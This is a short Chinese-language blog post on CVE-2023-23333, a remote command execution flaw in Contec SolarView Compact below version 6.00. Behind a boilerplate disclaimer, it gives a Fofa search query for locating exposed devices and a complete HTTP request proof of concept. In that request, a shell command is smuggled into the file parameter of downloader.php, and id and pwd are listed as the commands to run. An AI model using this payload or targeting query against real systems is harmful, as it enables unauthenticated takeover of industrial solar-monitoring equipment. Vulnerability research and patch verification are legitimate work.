本文主要是介绍Contec SolarView Compact ＜ 6.00 远程命令执行漏洞 （CVE-2023-23333），希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
Contec SolarView Compact < 6.00 远程命令执行漏洞 （CVE-2023-23333）
- 免责声明
- 漏洞描述
- 漏洞影响
- 漏洞危害
- 网络测绘
- Fofa: body="SolarView Compact"
- 漏洞复现
- 1. 构造poc
- 2. 执行命令
- id命令
- pwd命令
免责声明
仅用于技术交流,目的是向相关安全人员展示漏洞利用方式,以便更好地提高网络安全意识和技术水平。
任何人不得利用该文章进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为,责任自负。
该文章仅用于授权测试,任何未经授权的测试均属于非法行为。请在法律许可范围内使用。
作者对使用该文章导致的任何直接或间接损失不承担任何责任。使用此文章的风险由使用者自行承担。
漏洞描述
Contec SolarView Compact是日本Contec公司的一个应用系统。提供光伏发电测量系统。攻击者利用该漏洞通过downloader.php绕过内部限制来执行命令。
漏洞影响
Contec SolarView Compact < 6.00
漏洞危害
未经身份认证的攻击者可通过downloader.php执行任意命令
网络测绘
Fofa: body=“SolarView Compact”
漏洞复现
1. 构造poc
GET /downloader.php?file=%3Bid%00.zip HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
2. 执行命令
id命令
pwd命令
这篇关于Contec SolarView Compact ＜ 6.00 远程命令执行漏洞 （CVE-2023-23333）的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
